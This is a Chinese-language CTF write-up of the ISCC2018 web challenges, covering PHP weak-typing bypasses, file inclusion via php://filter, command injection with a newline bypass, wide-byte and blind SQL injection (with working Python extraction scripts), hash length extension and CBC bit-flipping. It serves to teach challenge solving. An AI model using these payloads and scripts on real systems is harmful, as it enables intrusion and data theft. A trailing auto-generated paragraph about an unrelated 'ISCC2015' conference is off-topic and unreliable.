ISCC2018 writeup(web)

 

 

 比较数字大小

F12 修改maxlength为4

 

 

 

 

web01

 

strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言  在==比较的时候,如果有数值的话会先将字符串转换为数值在进行比较,而NULL转换成数值为0,所以绕过题目限制。

payload:  get: /?password[]=1

 

本地的诱惑

右键查看源代码即可。

你能跨过去吗?

 

 复制callback参数内容 base64解码得到<script>alert("key:/%nsfocusXSStest%/")</script>  复制key的内容 提交得到flag;

一切都是套路

访问/index.php.txt得到源代码:

 

变量覆盖漏洞($$): 

get: ?_200=flag

post: flag=x

 

你能绕过吗

 

更改f参数的内容发现会报错,猜测是文件包含漏洞

用php伪协议来读取flag.经过测试发现题目过滤了php 所以用PHP://filter/convert.base64-encode/resource=index,解码读到flag。

 

 web02

 

 burp截断 利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器 得到flag。

 

 

请ping我的ip 看你能Ping通吗?

 根据题目要求 ping 猜测是命令注入漏洞,过滤了; & |等特殊符号  利用%0a(换行)进行绕过

用  ls / 命令查看目录

 

最后在 /home目录下发现flag   payload: /?ip=127.0.0.1%0a cat /home/flag得到flag 

 

Please give me username and password!

/index.php.txt 页面泄漏源代码,利用php弱类型进行绕过;

?username[]=0&password=1e9

 

 

 

SQL注入的艺术

点击个人信息页面,宽字节注入,可以盲注也可以联合查询注入。 当时写了个脚本盲注的。

import re
import requests

cname = ''
flag = ''
url = 'http://118.190.152.202:8015/index.php?id=1%df'
payload = "' and ascii(substr(({p}),{m},1))={n}%23"
list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
for  i in range(1,46):
	for ss in list:
		p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
		u = requests.get(url+p)
		if "head.jpg" in u.content:
			cname += chr(ss)
			print cname
			break

for i in range(1,23):
	for l in list:
		pp = payload.format(p='select flag from admins',m=i,n=l)
		u = requests.get(url+pp)
		if "head.jpg" in u.content:
			flag += chr(l)
			print flag
			break

  

 

 

 

 

 

 

试试看

/show.php?img=1.jpg  复制图片地址  文件包含漏洞。

由于不包含.jpg文件提示File not found! resource可以包含两个文件 所以绕过

payload:  php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码得到flag。

 

 

Collide

 

 直接给出源代码,由于key的值不知道 但是我们知道key的 长度为46,利用hash长度扩展攻击

编码后的username:  guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

 用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb

 

 

 

 

Only admin can see flag

cbc字节翻转攻击

/index.txt看到源代码 搜了一下 发现cbc字节翻转攻击 附带脚本。

 

import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"admiN";
#s:8:"password";s
#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(newcipher))

jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
    newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) 
print urllib.quote(base64.b64encode(newiv))

  

 先用admiN 123456登录

在地址栏处回车(不要刷新,否则cipher 和iv会刷新)并用burp抓包。

 

将iv 和 cipher放入脚本中 得到新的 cipher 修改cookie中的 cipher 得到报错信息中的 cipher。

 

 

 复制报错信息中的cipher到脚本中 运行得到新的iv  修改iv为新的iv 且cipher为第一次脚本运行得到的cipher。得到flag;

 

 

 为什么这么简单啊

根据提示利用 xff ip地址伪造和referer 即可进入第二关。

 右键查看源码,发现可疑js文件,浏览找到密码 base64解码 提交得到flag。

 

ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
解码得到: xinyiji.com

 

php是世界上最好的语言

用户名随便输 ,密码用php弱类型进行绕过 :QNKCDZO(可以看我之前写过的php知识点总结)

 点击得到

利用全局变量打印出$flag变量即可。

 

 

 

Sqli

题目说的很明确 就是注入了。经过测试发现是盲注 于是写了个脚本跑出密码登录。

解密: u4g009

提示在另一个字段,(真他妈坑啊),这里直接联合查询注入就可以了。

顺便附上我写的垃圾盲注脚本

import requests

tname = ''
pwd = ''
url = 'http://118.190.152.202:8011/index.php'
payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz')

# for i in range(1,10):
#     for k in fuzz:
#         p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
#         u = requests.post(url,data = {'username':p,'password':'admin'})
#         if 'normal' in u.content:
#             tname += k
#             print tname
#             break

for i in range(1,33):
    for k in fuzz:
        p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
        u = requests.post(url,data = {'username':p,'password':'admin'})
        if 'normal' in u.content:
            pwd += k
            print pwd
            break

 

 有种你来绕

 
 

 

根据提示,是mysql的数据库,利用mysql的特性--隐式类型转换,进行盲注得到密码。

写了个脚本跑出密码登录。

 

import requests

url = "http://118.190.152.202:8019/login.php"
payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
password = ''
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789'

for i in range(1,33):
    for k in fuzz:
        p = payload.format(i,ord(k))
        u = requests.post(url,data = {'uname':p,'passwd':'admin'})
        if not 'username' in u.content:
            password += k
            print password

 解密: nishishabi1438  (我他妈想打死傻逼出题人)

输入flag,执行即可。

web400 Only Admin 是cookie注入,但是自己没怎么看,等其他师傅分享wp再学习一波吧。

 

转载于:https://www.cnblogs.com/s1ye/p/9013719.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
iscc2015是国际信号与通信会议(International Symposium on Communication and Information Technologies)的官方writeup,在这个writeup中,主要回顾了iscc2015会议的主要内容和成果。 iscc2015会议是由IEEE(Institute of Electrical and Electronics Engineers)主办的,旨在聚集来自全球的学者、研究人员和专业人士,共同探讨和交流关于通信和信息技术领域的最新研究和发展。 这个writeup首先介绍了iscc2015会议的背景和目标,提及了该会议为促进学术界和工业界之间的合作、创新和知识交流所做的努力。接着,该writeup详细描述了iscc2015会议的主要议题,包括通信网络、无线通信、数据通信和网络安全等方面。此外,还列举了一些重要的研究课题和领域,如物联网、云计算、移动通信和多媒体通信等。 iscc2015writeup还总结了会议期间的重要活动和成果。这些活动包括学术论文的研讨会和展示、专题演讲、研讨会和研究项目的发布等。会议期间,各个领域的专家和学者积极参与并互相交流了关于通信和信息技术领域的最新研究成果和创新理念。 最后,iscc2015的官方writeup总结了会议的收获和影响。该会议为全球通信和信息技术领域的研究人员和专业人士提供了一个交流和合作的平台,推动了相关领域的发展和创新。此外,与会者还从中获得了有关新技术、新方法和最佳实践的信息和经验。 总之,iscc2015官方writeup回顾了这个国际会议的主要内容和成果,强调了其在通信和信息技术领域的重要性和影响。通过促进学术界和工业界之间的交流与合作,这个会议为促进全球通信和信息技术领域的发展做出了贡献。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值